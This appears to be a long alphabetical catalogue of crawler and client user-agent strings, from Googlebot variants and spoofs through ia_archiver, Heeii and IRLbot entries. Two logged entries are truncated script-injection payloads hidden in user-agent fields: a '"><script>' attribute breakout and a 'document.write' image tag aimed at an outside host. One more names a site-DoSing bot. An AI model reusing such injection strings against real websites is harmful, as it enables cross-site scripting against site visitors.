Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CL...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Win...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1)

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; eMusic DLM/4; .NET CLR 2...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; InfoPath.1)

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows ...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; PeoplePal 3.0; PeoplePal 6.2)

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; PeoplePal 3.0; PeoplePal 6.2; .NET CLR 2.0....

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 6.0; FunWebProducts; GTB6; SLCC1; .NET CLR 2.0.5...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows ...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC ...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET ...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 2.0.50727; .NET...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE ...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Med...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Med...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NE...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html; Windows; U; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.0...

Bot Googlebot/2.1 (+http://www.googlebot.com/bot.html}

Bot googlebot/2.1 (+http://wwwgooglebot.com/bot.html)

Bot Googlebot/2.1 (+http:/www.googlebot.com/bot.html)

Bot Googlebot/2.1 (+http:www.googlebot.com/bot.html)

Bot Googlebot/2.1 (+www.googlebot.com/bot.html)

Bot Googlebot/2.1 (♦http://www.googlebot.com/bot.html)

Bot Googlebot/2.1 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Bot Googlebot/2.1 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152;...

Bot Googlebot/2.1 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; +http://w...

Bot Googlebot/2.1 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR ...

Bot Googlebot/2.1 (compatible; MSIE; Windows; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

Bot Googlebot/2.1 (Google's crawler; www.googlebot.com; googlebot@google.com)

Bot Googlebot/2.1 (http://googlebot.com/bot.html

Bot GoogleBot/2.1 (http://googlebot.com/bot.html)

Bot Googlebot/2.1 (http://www.googlbot.com/bot.html

Bot Googlebot/2.1 (http://www.googlbot.com/bot.html)

Bot Googlebot/2.1 (http://www.google.com/bot.html)

Bot Googlebot/2.1 (http://www.google.com/bot/html)

Bot Googlebot/2.1 (http://www.googlebot.com/bot.html

Bot Googlebot/2.1 (http://www.googlebot.com/bot.html)

Bot Googlebot/2.1 (http://www.googlebot.com/bot.html)http://www.googlebot.com/bot.html

Bot Googlebot/2.1 + (+ http://www.google.com/ bot.html)

Bot Googlebot/2.1 + (+ http://www.google.com/bot.html)

Bot Googlebot/2.1 + (+ http://www.googlebot.com/bot.html)

Bot Googlebot/2.1 + (+ http://www.googlebot.com/bot.html),gzip(gfe) (via translate.google.com)

Bot Googlebot/2.1 +(+http://www.google.com/bot.html)

Bot Googlebot/2.1 - Google.com

Bot Googlebot/2.1 [+http://www.googlebot.com/bot.html]

Bot Googlebot/2.1 AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.23 Safari/533.4

Bot Googlebot/2.1 Java/1.6.0_20

Bot Googlebot/2.1 Java/1.6.0_20

Bot Googlebot/2.1" "Compatible"="+http://www.googlebot.com/bot.html

Bot Googlebot/2.1",gzip(gfe) (via translate.google.com)

Bot Googlebot/2.1( +http://www.googlebot.com/bot.html)

Bot Googlebot/2.1(+http//googlebot.com/bot.html)

Bot Googlebot/2.1(+http//googlebot.com/bot.html),gzip(gfe) (via translate.google.com)

Bot Googlebot/2.1(+http//www.googlebot.com/bothtml)

Bot GoogleBot/2.1(+http://googlebot.com/bot.html)

Bot googlebot/2.1(+http://www.google.com/bot.html)

Bot googlebot/2.1(+http://www.googlebot.com/bot.html

Bot Googlebot/2.1(+http://www.googlebot.com/bot.html)

Bot Googlebot/2.1(http:.googlebot.com/bot.html)

Bot Googlebot/2.1(http://www.google.com/bot.html)

Bot Googlebot/2.1(http://www.googlebot.com/bot.html)

Bot Googlebot/2.1+

Bot Googlebot/2.1+ (+http://www.google.com/bot.html)*

Bot Googlebot/2.1+ (Macintosh; U; Intel Mac OS X 10_5_6; en-us) AppleWebKit/528.12 (KHTML, like Gecko) Version/4.0 Safari/52...

Bot Googlebot/2.1+ (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safar...

Bot Googlebot/2.1+ SmartLinksAddon

Bot Googlebot/2.1+(+http://googlebot.com/bot.html)

Bot Googlebot/2.1+(+http://www.google.com/bot.htm

Bot Googlebot/2.1+(+http://www.google.com/bot.html

Bot Googlebot/2.1+(+http://www.google.com/bot.html)

Bot Googlebot/2.1+(+http://www.google.com/bot.html),gzip(gfe) (via translate.google.com)

Bot Googlebot/2.1+(+http://www.google.com/bot.html)|Googlebot/2.1+(+http://www.googlebot.com/bot.html) Mozilla/5.0 (compatib...

Bot Googlebot/2.1+(+http://www.google.com/bot.html)”

Bot Googlebot/2.1+(+http://www.google.com/bot.html)” Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.ht...

Bot Googlebot/2.1+(+http://www.google.com/bot.html)”. Notice the different url

Bot Googlebot/2.1+(+http://www.google.com/bot.html)”

Bot Googlebot/2.1+(+http://www.google.com?bot.html)

Bot Googlebot/2.1+(+http://www.googlebot.com/bot.htm)

Bot Googlebot/2.1+(+http://www.googlebot.com/bot.html

Bot Googlebot/2.1+(+http://www.googlebot.com/bot.html)

Bot Googlebot/2.1+(+http://www.googlebot.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.ht...

Bot Googlebot/2.1+(+http://www.googlebot.com/bot.html)"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.c...

Bot Googlebot/2.1+(+http://www.googlebot.com/bot.html)”

Bot Googlebot/2.1+(+http://www.googlebot.com/bot.html)” Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot...

Bot Googlebot/2.1+(+http://www.googlebot.com/bot.html)Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.htm...

Bot Googlebot/2.1+(+http://www.googlebot.com/bot.html]

Bot Googlebot/2.1+(0000000000000000000000000000000)

Bot Googlebot/2.1+(http://www.google.com/bot.html)

Bot Googlebot/2.1++http://www.google.com/bot.html

Bot Googlebot/2.1++http://www.googlebot.com/bot.html Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html

Bot Googlebot/2.1: ( : http://www.googlebot.com/bot.html)" Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.goog...

Bot Googlebot/2.1:(:http://www.googlebot.com/bot.html)

Bot Googlebot/2.1; ( http://www.google.com/bot.html)

Bot Googlebot/2.1; (+http://www.google.com/bot.html)

Bot Googlebot/2.1; (http://www.google.com/bot.html)

Bot Googlebot/2.1; +http://www.google.com/bot.html

Bot Googlebot/2.1; +http://www.google.com/bot.html)

Bot Googlebot/2.1; +http://www.google.com/bot.html, DynaWeb http://www.dit-inc.us/disclaimer.php

Bot Googlebot/2.1; +http;//www.google.com/bot.html

Bot Googlebot/2.1; http://www.google.com/bot.html

Bot Googlebot/2.1;+(+http://www.googlebot.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.h...

Bot Googlebot/2.1;+http://www.google.com/bot.html

Bot Googlebot/2.1? “Compatible”=”+http://www.googlebot.com/bot.html (compatible; MSIE 7.0; Windows NT 5.1; GTB0.0)

Bot Googlebot/2.1??Compatible?=?+http://www.googlebot.com/bot.html

Bot Googlebot/2.2 (http://www.googlebot.com/bot.html)

Bot Googlebot/2.3 (+http:\\www.googlebot.com/bot.html)

Bot Googlebot/2.4 (+http://www.googlebot.com/bot.html)

Bot Googlebot/2.X

Bot googlebot/2.X (+http://www.google.com/bot.html)

Bot Googlebot/2.X (+http://www.googlebot.com/bot.html

Bot Googlebot/2.X (+http://www.googlebot.com/bot.html)

Bot Googlebot/2.X (http://www.googlebot.com/bot.html)

Bot Googlebot/2.X (http://www.googlebot.com/bot.html; MSIE 8.0; ; Trident/4.0)

Bot Googlebot/2.X larbin2.6.3@unspecified.mail

Bot Googlebot/3.0

Bot Googlebot/3.0 Beta (+http://www.googlebot.com/bot.html)

Bot Googlebot/6.5 (+http://www.googlebot.com/bot.html)

Bot Googlebot/Nutch-1.0

Bot googlebot@googlebot.com

Bot Googlebot2.1

Bot Googlebot2.1 (+httpwww.googlebot.combot.html)

Bot GooglebotJZ.1 (+http:.//www.googlebot.com/bot.html)

Bot Googlebots

Bot googlepages/Nutch-0.9 (googlepages; http://www.googlepages.com; info@googlepages.com)

Bot GoogleProject1/0.1 powered by http://superfrink.net/

Bot GoogleProjectTwo/0.1 powered by http://superfrink.net/

Bot GoogleReport Search Engine - http://www.googlereport.org

Bot Googoebot/2.1

Bot Gorila.ro crawler

Bot GoScraper

Bot Gran PC 5.1

Bot GrandReporterUpdater1.0 CFNetwork/438.12 Darwin/9.7.0 (i386) (MacBookPro4%2C1)

Bot GranExplorer 1.0 (compatible; MSIE6.0; Windows NT 5.1) by Gran PC Software

Bot Grani/4.1

Bot Grani/4.2

Bot Grani/4.3

Bot grbot

Bot great-plains-web-spider/flatlandbot (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot.php; ...

Bot great-plains-web-spider/gpws (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot.php; jason@f...

Bot gridwell (http://search.gridwell.com)

Bot grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org)

Bot Grub/2.0 (Grub.org crawler; http://www.grub.org/; bot@grub.org)

Bot Grub/2.0 (IOI crawler; http://index.isc.org/; crawl@index.isc.org)

Bot GrubNG 0.1 (http://grub.org)

Bot gsa-crawler

Bot gsa-crawler (Enterprise; [code]; gsa-admin@test.com)

Bot gsa-crawler (Enterprise; GID-01422; jplastiras@google.com)

Bot gsa-crawler (Enterprise; GIX-03519;)

Bot gsa-crawler (Enterprise; GIX-04637; rex_li@trend.com.tw)

Bot gsa-crawler (Enterprise; M2-AQEYHKEBVC2AB; eric@mobitv.com,mohamed@mobitv.com)

Bot gsa-crawler (Enterprise; S4-E9LJ2B82FJJAA; some@company.com)

Bot gsa-crawler (Enterprise; S5-EVJT7EMTU8NAB; networkadmin@figleaf.com)

Bot gsa-crawler (Enterprise; S5-JE6K2P2TH8JAA; webmaster@oucs.ox.ac.uk)

Bot GSiteCrawler/NB

Bot GSiteCrawler/v1.20 rev. 273 (http://gsitecrawler.com/)

Bot GSiteCrawler/v1.23 rev. 286 (http://gsitecrawler.com/)

Bot GT::WWW/1.026

Bot Gulper Web Bot 0.2.4 (www.ecsl.cs.sunysb.edu/~maxim/cgi-bin/Link/GulperBot)

Bot Gungator

Bot GurujiBot/1.0 (+http://www.guruji.com/en/WebmasterFAQ.html)

Bot GurujiBot/1.0 (+http://www.guruji.com/WebmasterFAQ.html)

Bot GVC WEB crawler ( +http://www.search.gvcbot.com/add-url.htm)

Bot GVC CONTRACTOR SPIDER (+http://www.search.gvcbot.com) [ZSEBOT]

Bot GVC IT SPIDER (+http://www.search.gvcbot.com) [ZSEBOT]

Bot GVC SEARCH SPIDER (+http://www.search.gvcbot.com) [ZSEBOT]

Bot GVC SEARCH SPIDER (+http://www.search.gvcbot.com/add-url.htm) [ZSEBOT]

Bot GVC WEB crawler (+http://www.globalvisioncommunication.com)

Bot GVC WEB crawler (+http://www.globalvisioncommunication.com/)

Bot GVC Web crawler (+http://www.globalvisioncommunication.com/directory/MAIN.htm)

Bot GVC WEB crawler (+http://www.search.gvcbot.com/add-url.htm)

Bot GVC Weblink crawler (+http://www.globalvisioncommunication.com/directory/MAIN.htm)

Bot GVC WORLD SPIDER (+http://www.globalvisioncommunication.com) [ZSEBOT]

Bot GVC-GLOBAL-SPIDER (+http://www.globalvisioncommunication.com) [ZSEBOT]

Bot GVC-SEARCH-BOT (+http://www.globalvisioncommunication.com)

Bot GVC-SEARCH-BOT (+http://www.search.gvcbot.com) [ZSEBOT]

Bot GVC-SEARCH-SPIDER (+http://www.search.gvcbot.com/add-url.htm) [ZSEBOT]

Bot gvfs/0.2.5

Bot gvfs/1.0.2

Bot gvfs/1.2.2

Bot gvfs/1.6.1

Bot gvfs/1.6.4

Bot Gwadlup.com Web Client

Bot GYRO crawler

Bot h4x0r/9.20 (Windows NT 6.0; U; en)

Bot HackBot/93.6 (+NExTliFE(A.K.A Gord Hacks) Updates Come Usual, HACK BOT DoSING SITE!)

Bot Hackzilla/0.8.15 (Hackits 0.8.15; U; neXt Systems; en-GB; rv:0.8.1.5) spammo/20060508 Hackitfox/1.5.0.4

Bot Haiku/0.2.1.93 (compatible) filecache

Bot hakiaBot/2.1 (vS)

Bot HAL 9000; Cyberdyn X3; T1000 autonomous

Bot Hampsters Bumhole

Bot HanRSS/1.1 (http://www.hanrss.com)

Bot Hapax Newscrawler/1.0.9

Bot Hape-jadul Safari/528.16 (iPhone; U; CPU iPhone OS 3.0 like Mac OS X; en-us; compatible; Googlebot/2.1; http://www.googl...

Bot Hatena Bookmark/0.1

Bot Hatena::Crawler/0.01

Bot Hatena2::RemoteDocument/0.02

Bot HatenaScreenshot (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Bot HatenaScreenshot/1.0 (checker)

Bot hbtronix.spider.1 -- http://hbtronix.de/spider.php

Bot hclsreport-crawler (+http://hclsreport.com/

Bot healia/Nutch-0.9 (the personalized health search engine.; http://www.healia.com; mikes@healia.com)

Bot Healthbot/Health_and_Longevity_Project_(HealthHaven.com)

Bot heartland A19F2B69-28D6-11DC-BCA0-00304852B7B8

Bot Heeii backend ng 1.0 Java/1.5.0_14

Bot Heeii backend ng 1.0 Java/1.6.0_03

Bot Heeii backend ng 1.0 Java/1.6.0_07

Bot HEEII-BE/2.0 Java/1.5.0_14

Bot Heeii/0.3.2

Bot Heeii/3.0.1

Bot heeii/LiveNode

Bot heeii/LiveNode Java/1.5.0_10

Bot Heeii/Nutch-0.8.1 (Heeii; www.heeii.com; info@heeii.com)

Bot Heeii/Nutch-0.9 (Heeii; www.heeii.com; info@heeii.com)

Bot heeii/Nuts Java/1.5.0_10

Bot heeii/Nuts Java/1.5.0_14

Bot heeii/Nuts Java/1.6.0

Bot Heilbut

Bot HenryTheMiragoRobot (http://www.miragorobot.com/scripts/mrinfo.asp)

Bot HiPPiE (10965 Berlin)

Bot hitcrawler_0.1 ringken@gmail.com

Bot hl_ftien_spider

Bot hl_ftien_spider/1.1(compatible; MSIE 5.00; Windows 98)

Bot hl_ftien_spider_v1.1

Bot HMSE_Robot

Bot HMSEbot

Bot holmes/3.10 (http://morfeo.centrum.cz/bot)

Bot holmes/3.10.1 (OnetSzukaj/5.0; +http://szukaj.onet.pl)

Bot holmes/3.11 (http://morfeo.centrum.cz/bot)

Bot holmes/3.11 (OnetSzukaj/5.0; +http://szukaj.onet.pl)

Bot holmes/3.12 (http://morfeo.centrum.cz/bot)

Bot holmes/3.12 (OnetSzukaj/5.0; +http://szukaj.onet.pl)

Bot holmes/3.12.1 (http://morfeo.centrum.cz/bot)

Bot holmes/3.12.2 (http://morfeo.centrum.cz/bot)

Bot holmes/3.12.3 (http://morfeo.centrum.cz/bot)

Bot holmes/3.12.4 (http://morfeo.centrum.cz/bot)

Bot holmes/3.9 (OnetSzukaj/5.0; +http://szukaj.onet.pl)

Bot HolmesBot (http://holmes.ge)

Bot Horny Sex Search/Nutch-0.9 (HornySexSearch.com Crawler; http://www.hornysexsearch.com; Contact HornySexSearch.com)

Bot Hostcrawler 0.1 (+http://contact.eweb.ws)

Bot HotJava/1.0.1/JRE1.1.x

Bot HotJava/1.1.2 FCS

Bot HouxouCrawler/Nutch-0.8.2-dev (houxou.com's nutch-based crawler which serves special interest on-line communities; http:...

Bot HouxouCrawler/Nutch-0.9 (houxou.com's nutch-based crawler which serves special interest on-line communities; http://www....

Bot HPI FeedCrawler/0.1 (+http://www.hpi.uni-potsdam.de/meinel/bross/feedcrawler)

Bot HPL/Nutch-0.9

Bot hs-HTTP-4000.0.9

Bot HTC-8100/1.2 Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; PPC; 240x320) UP.Link/6.3.0.0.0

Bot HTC-P4600/1.2 Opera/9.50 (Windows NT 5.1; U; en) UP.Link/6.3.1.17.0

Bot htdig/3.1.6 (johann@johannburkard.de)

Bot HTML2JPG Blackbox, http://www.html2jpg.com

Bot HTMLParser/1.41

Bot HTMLParser/1.42

Bot HTMLParser/1.5

Bot HTMLParser/1.6

Bot HTMLParser/1.6 AppEngine-Google; (+http://code.google.com/appengine; appid: ilvenle)

Bot htmlSQL/0.5

Bot HTTP Client

Bot HTTP Retriever

Bot HTTP Spider/0.9

Bot http://crawler.spidergrid.net/1.0.5beta; http://gridgroup.de / http://narres.it/)

Bot http://domino.research.ibm.com/comm/research_projects.nsf/pages/sai-crawler.callingcard.html

Bot http://googlebot.com/bot.html

Bot http://hilfe.acont.de/bot.html ACONTBOT

Bot http://synergysecurity.net/spider.html

Bot http://ubercrawler.com 1.69

Bot http://www.die-ferienwohnung-in-koeln.de/lintorfer.php libwww-perl/5.831

Bot http://www.die-ferienwohnungen-in-koeln.de/aktuelles.php libwww-perl/5.831

Bot http://www.google.com/"><script>a='%67%6f%6f%67%6c%65%5f%61%64%5f%63%6c%69%65%6e%74%3d%27%...

Bot http://www.google.com/bot.html

Bot http://www.google.com/bot.html)

Bot http://www.google.sw/search?as_q=super+angebote

Bot http://www.googlebot.com/bot.html

Bot http://www.sjc0.tdmsic.org [sjc0] (Red Hat, sys)

Bot http://www.useragentstring.com/Googlebot2.1_id_71.php;

Bot http:/googlebot.com/bot.html

Bot http:/www.googlebot.com/bot.html

Bot HTTP::Lite/2.1.6

Bot HTTP_CLIENT: QuickMarkClient

Bot HTTP_Controller Ver2.0.0

Bot http_get

Bot http_load 29jun2005

Bot HTTP_Request2/0.5.1 (http://pear.php.net/package/http_request2) PHP/5.2.12

Bot HTTP_Request2/0.5.1 (http://pear.php.net/package/http_request2) PHP/5.3.2

Bot HTTP_Request2/0.5.2 (http://pear.php.net/package/http_request2) PHP/5.3.2

Bot HttpClient

Bot HttpClient

Bot HttpComponents/1.1

Bot HTTPConnect

Bot HTTPGrab

Bot httpunit/1.5

Bot httpunit/1.x

Bot HTTrack Website Copier/3.0x (offline browser; web mirror utility)

Bot Huasai/1.0

Bot HuaweiSymantec spider (compatible; MSIE 8.0; wangdanfeng@huaweisymantec.com)

Bot Huaweisymantecspider (compatible; MSIE 8.0; DSE-support@huaweisymantec.com)

Bot Huaweisymantecspider (compatible; MSIE 8.0; wangdanfeng@huaweisymantec.com)

Bot HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0...

Bot HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0...

Bot hunter/Nutch-0.8.1

Bot HyperEstraier/1.4.13

Bot HyperImage/3.0 CFNetwork/454.9.8 Darwin/10.4.0 (i386) (MacBook5%2C1)

Bot i cant belive that, you are mesribale (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Bot i1searchbot/2.0 (i1search web crawler; http://www.i1search.com; crawler@i1search.com)

Bot ia_archiver

Bot ia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)

Bot ia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)/PHP-proxy [phpdown Ver. 2.2.6]

Bot ia_archiver-web.archive.org

Bot ia_archiver/1.0 (Windows 2000 1.2; )

Bot ia_archiver/1.1 (Windows XP 6.1; )

Bot ia_archiver/1.3 (Windows XP 4.1; )

Bot ia_archiver/1.4 (Windows NT 4.1; )

Bot ia_archiver/1.5 (Windows 6.2; )

Bot ia_archiver/1.7 (Windows 2000 6.7; )

Bot ia_archiver/1.9 (Windows NT 3.4; )

Bot ia_archiver/2.4 (Windows 5.7; )

Bot ia_archiver/2.4 (Windows NT 3.4; )

Bot ia_archiver/3.4 (OSX 1.8; )

Bot ia_archiver/3.4 (Windows 1.4; )

Bot ia_archiver/4.1 (Windows NT 2.1; )

Bot ia_archiver/4.3 (Windows 2000 2.0; )

Bot ia_archiver/4.3 (Windows NT 3.5; )

Bot ia_archiver/4.3 (Windows NT 6.0; )

Bot ia_archiver/4.6 (Windows NT 3.5; )

Bot ia_archiver/4.6 (Windows NT 6.3; )

Bot ia_archiver/4.9 (OSX 5.4; )

Bot ia_archiver/4.9 (Windows 2000 5.8; )

Bot ia_archiver/4.9 (Windows XP 1.8; en-US;)

Bot ia_archiver/5.6 (Windows NT 5.0; )

Bot ia_archiver/5.8 (Windows XP 1.3; )

Bot ia_archiver/6.0 (Linux 1.9; )

Bot ia_archiver/6.2 (Windows XP 3.4; )

Bot ia_archiver/6.2 (Windows XP 7.9; )

Bot ia_archiver/6.4 (Windows 3.3; )

Bot ia_archiver/6.7 (OSX 1.8; )

Bot ia_archiver/6.9 (Windows 2000 3.3; )

Bot ia_archiver/7.6 (Linux 7.4; )

Bot ia_archiver/8.1 (Windows NT 1.5; )

Bot ia_archiver/8.3 (Linux 3.7; )

Bot ia_archiver/8.3 (OSX 4.6; )

Bot ia_archiver/8.9 (Windows XP 7.4; )

Bot iamdebugger FirePHP/0.2.1

Bot iaskspider/2.0(+http://iask.com/help/help_index.html)

Bot IBM.Orange.Web.Filter/on.citrix.output (sjc0.tdmsic.org - Red Hat)

Bot IBM.Orange.Web.Filter/on.citrix.output (tdmsic.org - Red Hat)

Bot ICC-Crawler(Mozilla-compatible; ; http://kc.nict.go.jp/project1/crawl.html)

Bot ICC-Crawler(Mozilla-compatible; http://ameblo.jp/star-emily/theme-10030867205.html )

Bot ICC-Crawler(Mozilla-compatible; http://kc.nict.go.jp/icc/crawl.html; icc-crawl(at)ml(dot)nict(dot)go(dot)jp)

Bot ICC-Crawler(Mozilla-compatible; http://kc.nict.go.jp/icc/crawl.html; icc-crawl-contact(at)ml(dot)nict(dot)go(dot)jp)

Bot ICC-Crawler/2.0 (Mozilla-compatible; ; http://kc.nict.go.jp/project1/crawl.html)

Bot iCCrawler (http://www.iccenter.net)

Bot iCCrawler (http://www.iccenter.net/bot.htm)

Bot ICCrawler - ICjobs (http://www.icjobs.de/bot.htm)

Bot Iceweasel2.0.0.16/Nutch-1.0 (Webbrowser; http://iceweasel.com; info@iceweasel.com)

Bot Iceweasel2.0.0.16/Nutch-1.1 (Webbrowser; http://iceweasel.com; info@iceweasel.com)

Bot ichiro/1.0 (ichiro@nttr.co.jp)

Bot ichiro/2.0 (http://help.goo.ne.jp/door/crawler.html)

Bot ichiro/2.0 (ichiro@nttr.co.jp)

Bot ichiro/2.0+(http://help.goo.ne.jp/door/crawler.html)

Bot ichiro/3.0 (http://help.goo.ne.jp/door/crawler.html)

Bot ichiro/4.0 (http://help.goo.ne.jp/door/crawler.html)

Bot ichiro/5.0 (http://help.goo.ne.jp/door/crawler.html)

Bot ICjobs (http://www.icjobs.de/bot.htm)

Bot Icon Grabber - Setup

Bot icon_download

Bot iCopyright Conductor 1.0

Bot IDScode-BOT/1.4 http://www.idscode.pl Hello !

Bot IEAutoDiscovery

Bot iexplore

Bot IIITBOT/1.1 (Indian Language Web Search Engine; http://webkhoj.iiit.net; pvvpr at iiit dot ac dot in)

Bot iisbot/1.0 (+http://www.iis.net/iisbot.html)

Bot IIT Bombay CFILT NLP Bot/Nutch-1.1 (IITB CFILT Crawler)

Bot IITB-CFILT-Bot/Nutch-1.1 (This is the crawler of IIT Bombay, India. The data will be used for research purposes.; http:/...

Bot ilial/Nutch-0.9 (Ilial, Inc. is a Los Angeles based Internet startup company. For more information please visit http://w...

Bot ilial/Nutch-0.9 (Ilial, Inc. is a Los Angeles based Internet startup company.; http://www.ilial.com/crawler; crawl@ilial...

Bot ilial/Nutch-0.9-dev

Bot IlseBot/1.0

Bot IlseBot/1.1

Bot IlTrovatore-Setaccio/1.2 (It search engine; http://www.iltrovatore.it/bot.html; bot@iltrovatore.it)

Bot IlTrovatore-Setaccio/1.2 (It-bot;compatible;MSIE 6.0;Mozilla/4.0; http://www.iltrovatore.it/bot.html; bot@iltrovatore.it...

Bot IlTrovatore/1.2 (IlTrovatore; http://www.iltrovatore.it/bot.html; bot@iltrovatore.it)

Bot IM/0.1 libwww-perl/5.825

Bot Image Collector V1.1

Bot Image/0.2.1.93 (compatible) filecache

Bot InAGist URL Resolver (http://inagist.com)

Bot inagist.com url crawler

Bot Inar_spider tspyyp@tom.com

Bot Indexer1063

Bot inet library

Bot InetURL:/1.0

Bot InetURL:/1.0;afcid=W6e19ed016dedc5cb43e7fa516dce24a0

Bot Infinity/0.02 [shastye] (Win67; X; SK; )

Bot Influencebot/0.9; (Automatic classification of websites; http://www.influencebox.com/; info@influencebox.com)

Bot Infoaxe./Nutch-0.9

Bot Infoaxe./Nutch-1.0

Bot Inktomi Slurp Yahoo

Bot innovantagebot/1.0 (http://www.innovantage.co.uk/technology/webmaster_information.htm)

Bot Internet Explorer 7<script>document.write("<img src=\"http://members.lycos.nl/ops...

Bot Internet Ninja 5.0

Bot Internet Ninja 6.0

Bot INTERNET RADIO crawler ( +http://www.radio.gvcbot.com:83 )

Bot InternetArchive/0.8-dev (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)

Bot InternetDevels/1.00.A

Bot InternetSupervision (http://internetsupervision.com/urlmonitor/3)

Bot intumit/Nutch-1.1

Bot IOI/2.0 (ISC Open Index crawler; http://index.isc.org/; bot@index.isc.org)

Bot IP*Works! V5 HTTP/S Component - by /n software - www.nsoftware.com

Bot ip2 larbin2.6.3@unspecified.mail

Bot IP2LocationBot/1.00 <a href="http://www.ip2location.com">http://www.ip2location.com&...

Bot IP2MapBot/1.3 <a href=http://www.ip2map.com>http://www.ip2map.com</a>

Bot IP2PhraseBot/1.0 <a href="http://www.ip2phrase.com">http://www.ip2phrase.com</a&a...

Bot IPAddressGuideBot/1.0 <a href="http://www.ipaddressguide.com">http://www.ipaddressguide....

Bot IPAddressGuideBot/1.0 <a href="http://www.ipaddressguide.com.com">http://ww

Bot IPAddressGuideBot/1.0 <a href="http://www.ipaddressguide.com.com">http://www.ipaddressgu...

Bot IPAddressGuideBot/1.1 <a href="http://www.ipaddressguide.com">http://www.ipaddressguide....

Bot IPAddressGuideBot/1.1 <a href="http://www.ipaddressguide.com">http://www.ipaddressguide....

Bot iPhone - danish.startup.filter (sjc0.tdmsic.org - Red Hat)

Bot IPOD - danish.startup.filter (sjc0.tdmsic.org - Red Hat)

Bot IRLbot/2.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler)

